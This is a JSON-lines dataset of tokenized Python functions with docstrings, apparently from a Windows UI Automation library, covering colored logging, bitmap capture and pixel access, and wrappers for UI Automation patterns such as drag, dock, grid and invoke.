{"signature": "@staticmethod<EOL><INDENT>def ColorfullyWrite(log: str, consoleColor: int = -<NUM_LIT:1>, writeToFile: bool = True, printToStdout: bool = True, logFile: str = None) -> None:<DEDENT>", "body": "text = []<EOL>start = <NUM_LIT:0><EOL>while True:<EOL><INDENT>index1 = log.find('<STR_LIT>', start)<EOL>if index1 >= <NUM_LIT:0>:<EOL><INDENT>if index1 > start:<EOL><INDENT>text.append((log[start:index1], consoleColor))<EOL><DEDENT>index2 = log.find('<STR_LIT:>>', index1)<EOL>colorName = log[index1+<NUM_LIT:7>:index2]<EOL>index3 = log.find('<STR_LIT>', index2 + <NUM_LIT:1>)<EOL>text.append((log[index2 + <NUM_LIT:1>:index3], Logger.ColorNames[colorName]))<EOL>start = index3 + <NUM_LIT:8><EOL><DEDENT>else:<EOL><INDENT>if start < len(log):<EOL><INDENT>text.append((log[start:], consoleColor))<EOL><DEDENT>break<EOL><DEDENT><DEDENT>for t, c in text:<EOL><INDENT>Logger.Write(t, c, writeToFile, printToStdout, logFile)<EOL><DEDENT>", "docstring": "log: str.\nconsoleColor: int, a value in class `ConsoleColor`, such as `ConsoleColor.DarkGreen`.\nwriteToFile: bool.\nprintToStdout: bool.\nlogFile: str, log file path.\nColorfullyWrite('Hello <Color=Green>Green</Color> !!!'), color name must be in Logger.ColorNames.", "id": "f1782:c41:m3"}
{"signature": "@staticmethod<EOL><INDENT>def ColorfullyWriteLine(log: str, consoleColor: int = -<NUM_LIT:1>, writeToFile: bool = True, printToStdout: bool = True, logFile: str = None) -> None:<DEDENT>", "body": "Logger.ColorfullyWrite(log + '<STR_LIT:\\n>', consoleColor, writeToFile, printToStdout, logFile)<EOL>", "docstring": "log: str.\nconsoleColor: int, a value in class `ConsoleColor`, such as `ConsoleColor.DarkGreen`.\nwriteToFile: bool.\nprintToStdout: bool.\nlogFile: str, log file path.\n\nColorfullyWriteLine('Hello <Color=Green>Green</Color> !!!'), color name must be in Logger.ColorNames.", "id": "f1782:c41:m4"}
{"signature": "@staticmethod<EOL><INDENT>def Log(log: Any = '<STR_LIT>', consoleColor: int = -<NUM_LIT:1>, writeToFile: bool = True, printToStdout: bool = True, logFile: str = None) -> None:<DEDENT>", "body": "t = datetime.datetime.now()<EOL>frame = sys._getframe(<NUM_LIT:1>)<EOL>log = '<STR_LIT>'.format(t.year, t.month, t.day,<EOL>t.hour, t.minute, t.second, t.microsecond // <NUM_LIT:1000>, frame.f_code.co_name, frame.f_lineno, log)<EOL>Logger.Write(log, consoleColor, writeToFile, printToStdout, logFile)<EOL>", "docstring": "log: any type.\nconsoleColor: int, a value in class `ConsoleColor`, such as `ConsoleColor.DarkGreen`.\nwriteToFile: bool.\nprintToStdout: bool.\nlogFile: str, log file path.", "id": "f1782:c41:m5"}
{"signature": "@staticmethod<EOL><INDENT>def ColorfullyLog(log: str = '<STR_LIT>', consoleColor: int = -<NUM_LIT:1>, writeToFile: bool = True, printToStdout: bool = True, logFile: str = None) -> None:<DEDENT>", "body": "t = datetime.datetime.now()<EOL>frame = sys._getframe(<NUM_LIT:1>)<EOL>log = '<STR_LIT>'.format(t.year, t.month, t.day,<EOL>t.hour, t.minute, t.second, t.microsecond // <NUM_LIT:1000>, frame.f_code.co_name, frame.f_lineno, log)<EOL>Logger.ColorfullyWrite(log, consoleColor, writeToFile, printToStdout, logFile)<EOL>", "docstring": "log: any type.\nconsoleColor: int, a value in class ConsoleColor, such as ConsoleColor.DarkGreen.\nwriteToFile: bool.\nprintToStdout: bool.\nlogFile: str, log file path.\n\nColorfullyLog('Hello <Color=Green>Green</Color> !!!'), color name must be in Logger.ColorNames", "id": "f1782:c41:m6"}
{"signature": "@staticmethod<EOL><INDENT>def DeleteLog() -> None:<DEDENT>", "body": "if os.path.exists(Logger.FileName):<EOL><INDENT>os.remove(Logger.FileName)<EOL><DEDENT>", "docstring": "Delete log file.", "id": "f1782:c41:m7"}
{"signature": "def __init__(self, width: int = <NUM_LIT:0>, height: int = <NUM_LIT:0>):", "body": "self._width = width<EOL>self._height = height<EOL>self._bitmap = <NUM_LIT:0><EOL>if width > <NUM_LIT:0> and height > <NUM_LIT:0>:<EOL><INDENT>self._bitmap = _DllClient.instance().dll.BitmapCreate(width, height)<EOL><DEDENT>", "docstring": "Create a black bimap of size(width, height).", "id": "f1782:c42:m0"}
{"signature": "@property<EOL><INDENT>def Width(self) -> int:<DEDENT>", "body": "return self._width<EOL>", "docstring": "Property Width.\nReturn int.", "id": "f1782:c42:m4"}
{"signature": "@property<EOL><INDENT>def Height(self) -> int:<DEDENT>", "body": "return self._height<EOL>", "docstring": "Property Height.\nReturn int.", "id": "f1782:c42:m5"}
{"signature": "def FromHandle(self, hwnd: int, left: int = <NUM_LIT:0>, top: int = <NUM_LIT:0>, right: int = <NUM_LIT:0>, bottom: int = <NUM_LIT:0>) -> bool:", "body": "self.Release()<EOL>root = GetRootControl()<EOL>rect = ctypes.wintypes.RECT()<EOL>ctypes.windll.user32.GetWindowRect(hwnd, ctypes.byref(rect))<EOL>left, top, right, bottom = left + rect.left, top + rect.top, right + rect.left, bottom + rect.top<EOL>self._bitmap = _DllClient.instance().dll.BitmapFromWindow(root.NativeWindowHandle, left, top, right, bottom)<EOL>self._getsize()<EOL>return self._bitmap > <NUM_LIT:0><EOL>", "docstring": "Capture a native window to Bitmap by its handle.\nhwnd: int, the handle of a native window.\nleft: int.\ntop: int.\nright: int.\nbottom: int.\nleft, top, right and bottom are control's internal postion(from 0,0).\nReturn bool, True if succeed otherwise False.", "id": "f1782:c42:m6"}
{"signature": "def FromControl(self, control: '<STR_LIT>', x: int = <NUM_LIT:0>, y: int = <NUM_LIT:0>, width: int = <NUM_LIT:0>, height: int = <NUM_LIT:0>) -> bool:", "body": "rect = control.BoundingRectangle<EOL>while rect.width() == <NUM_LIT:0> or rect.height() == <NUM_LIT:0>:<EOL><INDENT>control = control.GetParentControl()<EOL>if not control:<EOL><INDENT>return False<EOL><DEDENT>rect = control.BoundingRectangle<EOL><DEDENT>if width <= <NUM_LIT:0>:<EOL><INDENT>width = rect.width() + width<EOL><DEDENT>if height <= <NUM_LIT:0>:<EOL><INDENT>height = rect.height() + height<EOL><DEDENT>handle = control.NativeWindowHandle<EOL>if handle:<EOL><INDENT>left = x<EOL>top = y<EOL>right = left + width<EOL>bottom = top + height<EOL><DEDENT>else:<EOL><INDENT>while True:<EOL><INDENT>control = control.GetParentControl()<EOL>handle = control.NativeWindowHandle<EOL>if handle:<EOL><INDENT>pRect = control.BoundingRectangle<EOL>left = rect.left - pRect.left + x<EOL>top = rect.top - pRect.top + y<EOL>right = left + width<EOL>bottom = top + height<EOL>break<EOL><DEDENT><DEDENT><DEDENT>return self.FromHandle(handle, left, top, right, bottom)<EOL>", "docstring": "Capture a control to Bitmap.\ncontrol: `Control` or its subclass.\nx: int.\ny: int.\nwidth: int.\nheight: int.\nx, y: the point in control's internal position(from 0,0)\nwidth, height: image's width and height from x, y, use 0 for entire area,\nIf width(or height) < 0, image size will be control's width(or height) - width(or height).\nReturn bool, True if succeed otherwise False.", "id": "f1782:c42:m7"}
{"signature": "def FromFile(self, filePath: str) -> bool:", "body": "self.Release()<EOL>self._bitmap = _DllClient.instance().dll.BitmapFromFile(ctypes.c_wchar_p(filePath))<EOL>self._getsize()<EOL>return self._bitmap > <NUM_LIT:0><EOL>", "docstring": "Load image from a file.\nfilePath: str.\nReturn bool, True if succeed otherwise False.", "id": "f1782:c42:m8"}
{"signature": "def ToFile(self, savePath: str) -> bool:", "body": "name, ext = os.path.splitext(savePath)<EOL>extMap = {'<STR_LIT>': '<STR_LIT>'<EOL>, '<STR_LIT>': '<STR_LIT>'<EOL>, '<STR_LIT>': '<STR_LIT>'<EOL>, '<STR_LIT>': '<STR_LIT>'<EOL>, '<STR_LIT>': '<STR_LIT>'<EOL>, '<STR_LIT>': '<STR_LIT>'<EOL>, '<STR_LIT>': '<STR_LIT>'<EOL>}<EOL>gdiplusImageFormat = extMap.get(ext.lower(), '<STR_LIT>')<EOL>return bool(_DllClient.instance().dll.BitmapToFile(self._bitmap, ctypes.c_wchar_p(savePath), ctypes.c_wchar_p(gdiplusImageFormat)))<EOL>", "docstring": "Save to a file.\nsavePath: str, should end with .bmp, .jpg, .jpeg, .png, .gif, .tif, .tiff.\nReturn bool, True if succeed otherwise False.", "id": "f1782:c42:m9"}
{"signature": "def GetPixelColor(self, x: int, y: int) -> int:", "body": "return _DllClient.instance().dll.BitmapGetPixel(self._bitmap, x, y)<EOL>", "docstring": "Get color value of a pixel.\nx: int.\ny: int.\nReturn int, argb color.\nb = argb & 0x0000FF\ng = (argb & 0x00FF00) >> 8\nr = (argb & 0xFF0000) >> 16\na = (argb & 0xFF0000) >> 24", "id": "f1782:c42:m10"}
{"signature": "def SetPixelColor(self, x: int, y: int, argb: int) -> bool:", "body": "return _DllClient.instance().dll.BitmapSetPixel(self._bitmap, x, y, argb)<EOL>", "docstring": "Set color value of a pixel.\nx: int.\ny: int.\nargb: int, color value.\nReturn bool, True if succeed otherwise False.", "id": "f1782:c42:m11"}
{"signature": "def GetPixelColorsHorizontally(self, x: int, y: int, count: int) -> ctypes.Array:", "body": "arrayType = ctypes.c_uint32 * count<EOL>values = arrayType()<EOL>_DllClient.instance().dll.BitmapGetPixelsHorizontally(ctypes.c_size_t(self._bitmap), x, y, values, count)<EOL>return values<EOL>", "docstring": "x: int.\ny: int.\ncount: int.\nReturn `ctypes.Array`, an iterable array of int values in argb form point x,y horizontally.", "id": "f1782:c42:m12"}
{"signature": "def SetPixelColorsHorizontally(self, x: int, y: int, colors: Iterable) -> bool:", "body": "count = len(colors)<EOL>arrayType = ctypes.c_uint32 * count<EOL>values = arrayType(*colors)<EOL>return _DllClient.instance().dll.BitmapSetPixelsHorizontally(ctypes.c_size_t(self._bitmap), x, y, values, count)<EOL>", "docstring": "Set pixel colors form x,y horizontally.\nx: int.\ny: int.\ncolors: Iterable, an iterable list of int color values in argb.\nReturn bool, True if succeed otherwise False.", "id": "f1782:c42:m13"}
{"signature": "def GetPixelColorsVertically(self, x: int, y: int, count: int) -> ctypes.Array:", "body": "arrayType = ctypes.c_uint32 * count<EOL>values = arrayType()<EOL>_DllClient.instance().dll.BitmapGetPixelsVertically(ctypes.c_size_t(self._bitmap), x, y, values, count)<EOL>return values<EOL>", "docstring": "x: int.\ny: int.\ncount: int.\nReturn `ctypes.Array`, an iterable array of int values in argb form point x,y vertically.", "id": "f1782:c42:m14"}
{"signature": "def SetPixelColorsVertically(self, x: int, y: int, colors: Iterable) -> bool:", "body": "count = len(colors)<EOL>arrayType = ctypes.c_uint32 * count<EOL>values = arrayType(*colors)<EOL>return _DllClient.instance().dll.BitmapSetPixelsVertically(ctypes.c_size_t(self._bitmap), x, y, values, count)<EOL>", "docstring": "Set pixel colors form x,y vertically.\nx: int.\ny: int.\ncolors: Iterable, an iterable list of int color values in argb.\nReturn bool, True if succeed otherwise False.", "id": "f1782:c42:m15"}
{"signature": "def GetPixelColorsOfRow(self, y: int) -> ctypes.Array:", "body": "return self.GetPixelColorsOfRect(<NUM_LIT:0>, y, self.Width, <NUM_LIT:1>)<EOL>", "docstring": "y: int, row index.\nReturn `ctypes.Array`, an iterable array of int values in argb of y row.", "id": "f1782:c42:m16"}
{"signature": "def GetPixelColorsOfColumn(self, x: int) -> ctypes.Array:", "body": "return self.GetPixelColorsOfRect(x, <NUM_LIT:0>, <NUM_LIT:1>, self.Height)<EOL>", "docstring": "x: int, column index.\nReturn `ctypes.Array`, an iterable array of int values in argb of x column.", "id": "f1782:c42:m17"}
{"signature": "def GetPixelColorsOfRect(self, x: int, y: int, width: int, height: int) -> ctypes.Array:", "body": "arrayType = ctypes.c_uint32 * (width * height)<EOL>values = arrayType()<EOL>_DllClient.instance().dll.BitmapGetPixelsOfRect(ctypes.c_size_t(self._bitmap), x, y, width, height, values)<EOL>return values<EOL>", "docstring": "x: int.\ny: int.\nwidth: int.\nheight: int.\nReturn `ctypes.Array`, an iterable array of int values in argb of the input rect.", "id": "f1782:c42:m18"}
{"signature": "def SetPixelColorsOfRect(self, x: int, y: int, width: int, height: int, colors: Iterable) -> bool:", "body": "arrayType = ctypes.c_uint32 * (width * height)<EOL>values = arrayType(*colors)<EOL>return bool(_DllClient.instance().dll.BitmapSetPixelsOfRect(ctypes.c_size_t(self._bitmap), x, y, width, height, values))<EOL>", "docstring": "x: int.\ny: int.\nwidth: int.\nheight: int.\ncolors: Iterable, an iterable list of int values, it's length must equal to width*height.\nReturn `ctypes.Array`, an iterable array of int values in argb of the input rect.", "id": "f1782:c42:m19"}
{"signature": "def GetPixelColorsOfRects(self, rects: list) -> list:", "body": "rects2 = [(x, y, x + width, y + height) for x, y, width, height in rects]<EOL>left, top, right, bottom = zip(*rects2)<EOL>left, top, right, bottom = min(left), min(top), max(right), max(bottom)<EOL>width, height = right - left, bottom - top<EOL>allColors = self.GetPixelColorsOfRect(left, top, width, height)<EOL>colorsOfRects = []<EOL>for x, y, w, h in rects:<EOL><INDENT>x -= left<EOL>y -= top<EOL>colors = []<EOL>for row in range(h):<EOL><INDENT>colors.extend(allColors[(y + row) * width + x:(y + row) * width + x + w])<EOL><DEDENT>colorsOfRects.append(colors)<EOL><DEDENT>return colorsOfRects<EOL>", "docstring": "rects: a list of rects, such as [(0,0,10,10), (10,10,20,20),(x,y,width,height)].\nReturn list, a list whose elements are ctypes.Array which is an iterable array of int values in argb.", "id": "f1782:c42:m20"}
{"signature": "def GetAllPixelColors(self) -> ctypes.Array:", "body": "return self.GetPixelColorsOfRect(<NUM_LIT:0>, <NUM_LIT:0>, self.Width, self.Height)<EOL>", "docstring": "Return `ctypes.Array`, an iterable array of int values in argb.", "id": "f1782:c42:m21"}
{"signature": "def GetSubBitmap(self, x: int, y: int, width: int, height: int) -> '<STR_LIT>':", "body": "colors = self.GetPixelColorsOfRect(x, y, width, height)<EOL>bitmap = Bitmap(width, height)<EOL>bitmap.SetPixelColorsOfRect(<NUM_LIT:0>, <NUM_LIT:0>, width, height, colors)<EOL>return bitmap<EOL>", "docstring": "x: int.\ny: int.\nwidth: int.\nheight: int.\nReturn `Bitmap`, a sub bitmap of the input rect.", "id": "f1782:c42:m22"}
{"signature": "def __init__(self, pattern=None):", "body": "self.pattern = pattern<EOL>", "docstring": "Refer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nn-uiautomationclient-iuiautomationannotationpattern", "id": "f1782:c43:m0"}
{"signature": "@property<EOL><INDENT>def AnnotationTypeId(self) -> int:<DEDENT>", "body": "return self.pattern.CurrentAnnotationTypeId<EOL>", "docstring": "Property AnnotationTypeId.\nCall IUIAutomationAnnotationPattern::get_CurrentAnnotationTypeId.\nReturn int, a value in class `AnnotationType`.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationannotationpattern-get_currentannotationtypeid", "id": "f1782:c43:m1"}
{"signature": "@property<EOL><INDENT>def AnnotationTypeName(self) -> str:<DEDENT>", "body": "return self.pattern.CurrentAnnotationTypeName<EOL>", "docstring": "Property AnnotationTypeName.\nCall IUIAutomationAnnotationPattern::get_CurrentAnnotationTypeName.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationannotationpattern-get_currentannotationtypename", "id": "f1782:c43:m2"}
{"signature": "@property<EOL><INDENT>def Author(self) -> str:<DEDENT>", "body": "return self.pattern.CurrentAuthor<EOL>", "docstring": "Property Author.\nCall IUIAutomationAnnotationPattern::get_CurrentAuthor.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationannotationpattern-get_currentauthor", "id": "f1782:c43:m3"}
{"signature": "@property<EOL><INDENT>def DateTime(self) -> str:<DEDENT>", "body": "return self.pattern.CurrentDateTime<EOL>", "docstring": "Property DateTime.\nCall IUIAutomationAnnotationPattern::get_CurrentDateTime.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationannotationpattern-get_currentdatetime", "id": "f1782:c43:m4"}
{"signature": "@property<EOL><INDENT>def Target(self) -> '<STR_LIT>':<DEDENT>", "body": "ele = self.pattern.CurrentTarget<EOL>return Control.CreateControlFromElement(ele)<EOL>", "docstring": "Property Target.\nCall IUIAutomationAnnotationPattern::get_CurrentTarget.\nReturn `Control` subclass, the element that is being annotated.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationannotationpattern-get_currenttarget", "id": "f1782:c43:m5"}
{"signature": "def __init__(self, pattern=None):", "body": "self.pattern = pattern<EOL>", "docstring": "Refer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nn-uiautomationclient-iuiautomationcustomnavigationpattern", "id": "f1782:c44:m0"}
{"signature": "def Navigate(self, direction: int) -> '<STR_LIT>':", "body": "ele = self.pattern.Navigate(direction)<EOL>return Control.CreateControlFromElement(ele)<EOL>", "docstring": "Call IUIAutomationCustomNavigationPattern::Navigate.\nGet the next control in the specified direction within the logical UI tree.\ndirection: int, a value in class `NavigateDirection`.\nReturn `Control` subclass or None.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationcustomnavigationpattern-navigate", "id": "f1782:c44:m1"}
{"signature": "def __init__(self, pattern=None):", "body": "self.pattern = pattern<EOL>", "docstring": "Refer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nn-uiautomationclient-iuiautomationdockpattern", "id": "f1782:c45:m0"}
{"signature": "@property<EOL><INDENT>def DockPosition(self) -> int:<DEDENT>", "body": "return self.pattern.CurrentDockPosition<EOL>", "docstring": "Property DockPosition.\nCall IUIAutomationDockPattern::get_CurrentDockPosition.\nReturn int, a value in class `DockPosition`.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationdockpattern-get_currentdockposition", "id": "f1782:c45:m1"}
{"signature": "def SetDockPosition(self, dockPosition: int, waitTime: float = OPERATION_WAIT_TIME) -> int:", "body": "ret = self.pattern.SetDockPosition(dockPosition)<EOL>time.sleep(waitTime)<EOL>return ret<EOL>", "docstring": "Call IUIAutomationDockPattern::SetDockPosition.\ndockPosition: int, a value in class `DockPosition`.\nwaitTime: float.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationdockpattern-setdockposition", "id": "f1782:c45:m2"}
{"signature": "def __init__(self, pattern=None):", "body": "self.pattern = pattern<EOL>", "docstring": "Refer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nn-uiautomationclient-iuiautomationdragpattern", "id": "f1782:c46:m0"}
{"signature": "@property<EOL><INDENT>def DropEffect(self) -> str:<DEDENT>", "body": "return self.pattern.CurrentDropEffect<EOL>", "docstring": "Property DropEffect.\nCall IUIAutomationDragPattern::get_CurrentDropEffect.\nReturn str, a localized string that indicates what happens\n            when the user drops this element as part of a drag-drop operation.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationdragpattern-get_currentdropeffect", "id": "f1782:c46:m1"}
{"signature": "@property<EOL><INDENT>def DropEffects(self) -> list:<DEDENT>", "body": "return self.pattern.CurrentDropEffects<EOL>", "docstring": "Property DropEffects.\nCall IUIAutomationDragPattern::get_CurrentDropEffects, todo SAFEARRAY.\nReturn list, a list of localized strings that enumerate the full set of effects\n             that can happen when this element as part of a drag-and-drop operation.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationdragpattern-get_currentdropeffects", "id": "f1782:c46:m2"}
{"signature": "@property<EOL><INDENT>def IsGrabbed(self) -> bool:<DEDENT>", "body": "return bool(self.pattern.CurrentIsGrabbed)<EOL>", "docstring": "Property IsGrabbed.\nCall IUIAutomationDragPattern::get_CurrentIsGrabbed.\nReturn bool, indicates whether the user has grabbed this element as part of a drag-and-drop operation.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationdragpattern-get_currentisgrabbed", "id": "f1782:c46:m3"}
{"signature": "def GetGrabbedItems(self) -> list:", "body": "eleArray = self.pattern.GetCurrentGrabbedItems()<EOL>if eleArray:<EOL><INDENT>controls = []<EOL>for i in range(eleArray.Length):<EOL><INDENT>ele = eleArray.GetElement(i)<EOL>con = Control.CreateControlFromElement(element=ele)<EOL>if con:<EOL><INDENT>controls.append(con)<EOL><DEDENT><DEDENT>return controls<EOL><DEDENT>return []<EOL>", "docstring": "Call IUIAutomationDragPattern::GetCurrentGrabbedItems.\nReturn list, a list of `Control` subclasses that represent the full set of items\n             that the user is dragging as part of a drag operation.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationdragpattern-getcurrentgrabbeditems", "id": "f1782:c46:m4"}
{"signature": "def __init__(self, pattern=None):", "body": "self.pattern = pattern<EOL>", "docstring": "Refer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nn-uiautomationclient-iuiautomationdroptargetpattern", "id": "f1782:c47:m0"}
{"signature": "@property<EOL><INDENT>def DropTargetEffect(self) -> str:<DEDENT>", "body": "return self.pattern.CurrentDropTargetEffect<EOL>", "docstring": "Property DropTargetEffect.\nCall IUIAutomationDropTargetPattern::get_CurrentDropTargetEffect.\nReturn str, a localized string that describes what happens\n            when the user drops the grabbed element on this drop target.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationdragpattern-get_currentdroptargeteffect", "id": "f1782:c47:m1"}
{"signature": "@property<EOL><INDENT>def DropTargetEffects(self) -> list:<DEDENT>", "body": "return self.pattern.CurrentDropTargetEffects<EOL>", "docstring": "Property DropTargetEffects.\nCall IUIAutomationDropTargetPattern::get_CurrentDropTargetEffects, todo SAFEARRAY.\nReturn list, a list of localized strings that enumerate the full set of effects\n             that can happen when the user drops a grabbed element on this drop target\n             as part of a drag-and-drop operation.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationdragpattern-get_currentdroptargeteffects", "id": "f1782:c47:m2"}
{"signature": "def __init__(self, pattern=None):", "body": "self.pattern = pattern<EOL>", "docstring": "Refer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nn-uiautomationclient-iuiautomationexpandcollapsepattern", "id": "f1782:c48:m0"}
{"signature": "@property<EOL><INDENT>def ExpandCollapseState(self) -> int:<DEDENT>", "body": "return self.pattern.CurrentExpandCollapseState<EOL>", "docstring": "Property ExpandCollapseState.\nCall IUIAutomationExpandCollapsePattern::get_CurrentExpandCollapseState.\nReturn int, a value in class ExpandCollapseState.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationexpandcollapsepattern-get_currentexpandcollapsestate", "id": "f1782:c48:m1"}
{"signature": "def Collapse(self, waitTime: float = OPERATION_WAIT_TIME) -> bool:", "body": "ret = self.pattern.Collapse() == S_OK<EOL>time.sleep(waitTime)<EOL>return ret<EOL>", "docstring": "Call IUIAutomationExpandCollapsePattern::Collapse.\nwaitTime: float.\nReturn bool, True if succeed otherwise False.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationexpandcollapsepattern-collapse", "id": "f1782:c48:m2"}
{"signature": "def Expand(self, waitTime: float = OPERATION_WAIT_TIME) -> bool:", "body": "ret = self.pattern.Expand() == S_OK<EOL>time.sleep(waitTime)<EOL>return ret<EOL>", "docstring": "Call IUIAutomationExpandCollapsePattern::Expand.\nwaitTime: float.\nReturn bool, True if succeed otherwise False.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationexpandcollapsepattern-collapse", "id": "f1782:c48:m3"}
{"signature": "def __init__(self, pattern=None):", "body": "self.pattern = pattern<EOL>", "docstring": "Refer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nn-uiautomationclient-iuiautomationgriditempattern", "id": "f1782:c49:m0"}
{"signature": "@property<EOL><INDENT>def Column(self) -> int:<DEDENT>", "body": "return self.pattern.CurrentColumn<EOL>", "docstring": "Property Column.\nCall IUIAutomationGridItemPattern::get_CurrentColumn.\nReturn int, the zero-based index of the column that contains the item.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationgriditempattern-get_currentcolumn", "id": "f1782:c49:m1"}
{"signature": "@property<EOL><INDENT>def ColumnSpan(self) -> int:<DEDENT>", "body": "return self.pattern.CurrentColumnSpan<EOL>", "docstring": "Property ColumnSpan.\nCall IUIAutomationGridItemPattern::get_CurrentColumnSpan.\nReturn int, the number of columns spanned by the grid item.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationgriditempattern-get_currentcolumnspan", "id": "f1782:c49:m2"}
{"signature": "@property<EOL><INDENT>def ContainingGrid(self) -> '<STR_LIT>':<DEDENT>", "body": "return Control.CreateControlFromElement(self.pattern.CurrentContainingGrid)<EOL>", "docstring": "Property ContainingGrid.\nCall IUIAutomationGridItemPattern::get_CurrentContainingGrid.\nReturn `Control` subclass, the element that contains the grid item.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationgriditempattern-get_currentcontaininggrid", "id": "f1782:c49:m3"}
{"signature": "@property<EOL><INDENT>def Row(self) -> int:<DEDENT>", "body": "return self.pattern.CurrentRow<EOL>", "docstring": "Property Row.\nCall IUIAutomationGridItemPattern::get_CurrentRow.\nReturn int, the zero-based index of the row that contains the grid item.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationgriditempattern-get_currentrow", "id": "f1782:c49:m4"}
{"signature": "@property<EOL><INDENT>def RowSpan(self) -> int:<DEDENT>", "body": "return self.pattern.CurrentRowSpan<EOL>", "docstring": "Property RowSpan.\nCall IUIAutomationGridItemPattern::get_CurrentRowSpan.\nReturn int, the number of rows spanned by the grid item.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationgriditempattern-get_currentrowspan", "id": "f1782:c49:m5"}
{"signature": "def __init__(self, pattern=None):", "body": "self.pattern = pattern<EOL>", "docstring": "Refer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nn-uiautomationclient-iuiautomationgridpattern", "id": "f1782:c50:m0"}
{"signature": "@property<EOL><INDENT>def ColumnCount(self) -> int:<DEDENT>", "body": "return self.pattern.CurrentColumnCount<EOL>", "docstring": "Property ColumnCount.\nCall IUIAutomationGridPattern::get_CurrentColumnCount.\nReturn int, the number of columns in the grid.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationgridpattern-get_currentcolumncount", "id": "f1782:c50:m1"}
{"signature": "@property<EOL><INDENT>def RowCount(self) -> int:<DEDENT>", "body": "return self.pattern.CurrentRowCount<EOL>", "docstring": "Property RowCount.\nCall IUIAutomationGridPattern::get_CurrentRowCount.\nReturn int, the number of rows in the grid.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationgridpattern-get_currentrowcount", "id": "f1782:c50:m2"}
{"signature": "def GetItem(self) -> '<STR_LIT>':", "body": "return Control.CreateControlFromElement(self.pattern.GetItem())<EOL>", "docstring": "Call IUIAutomationGridPattern::GetItem.\nReturn `Control` subclass, a control representing an item in the grid.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationgridpattern-getitem", "id": "f1782:c50:m3"}
{"signature": "def __init__(self, pattern=None):", "body": "self.pattern = pattern<EOL>", "docstring": "Refer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nn-uiautomationclient-iuiautomationinvokepattern", "id": "f1782:c51:m0"}
{"signature": "def Invoke(self, waitTime: float = OPERATION_WAIT_TIME) -> bool:", "body": "ret = self.pattern.Invoke() == S_OK<EOL>time.sleep(waitTime)<EOL>return ret<EOL>", "docstring": "Call IUIAutomationInvokePattern::Invoke.\nInvoke the action of a control, such as a button click.\nwaitTime: float.\nReturn bool, True if succeed otherwise False.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationinvokepattern-invoke", "id": "f1782:c51:m1"}
{"signature": "def __init__(self, pattern=None):", "body": "self.pattern = pattern<EOL>", "docstring": "Refer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nn-uiautomationclient-iuiautomationitemcontainerpattern", "id": "f1782:c52:m0"}
{"signature": "def FindItemByProperty(control: '<STR_LIT>', propertyId: int, propertyValue) -> '<STR_LIT>':", "body": "ele = self.pattern.FindItemByProperty(control.Element, propertyId, propertyValue)<EOL>return Control.CreateControlFromElement(ele)<EOL>", "docstring": "Call IUIAutomationItemContainerPattern::FindItemByProperty.\ncontrol: `Control` or its subclass.\npropertyValue: COM VARIANT according to propertyId? todo.\npropertyId: int, a value in class `PropertyId`.\nReturn `Control` subclass, a control within a containing element, based on a specified property value.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationitemcontainerpattern-finditembyproperty", "id": "f1782:c52:m1"}
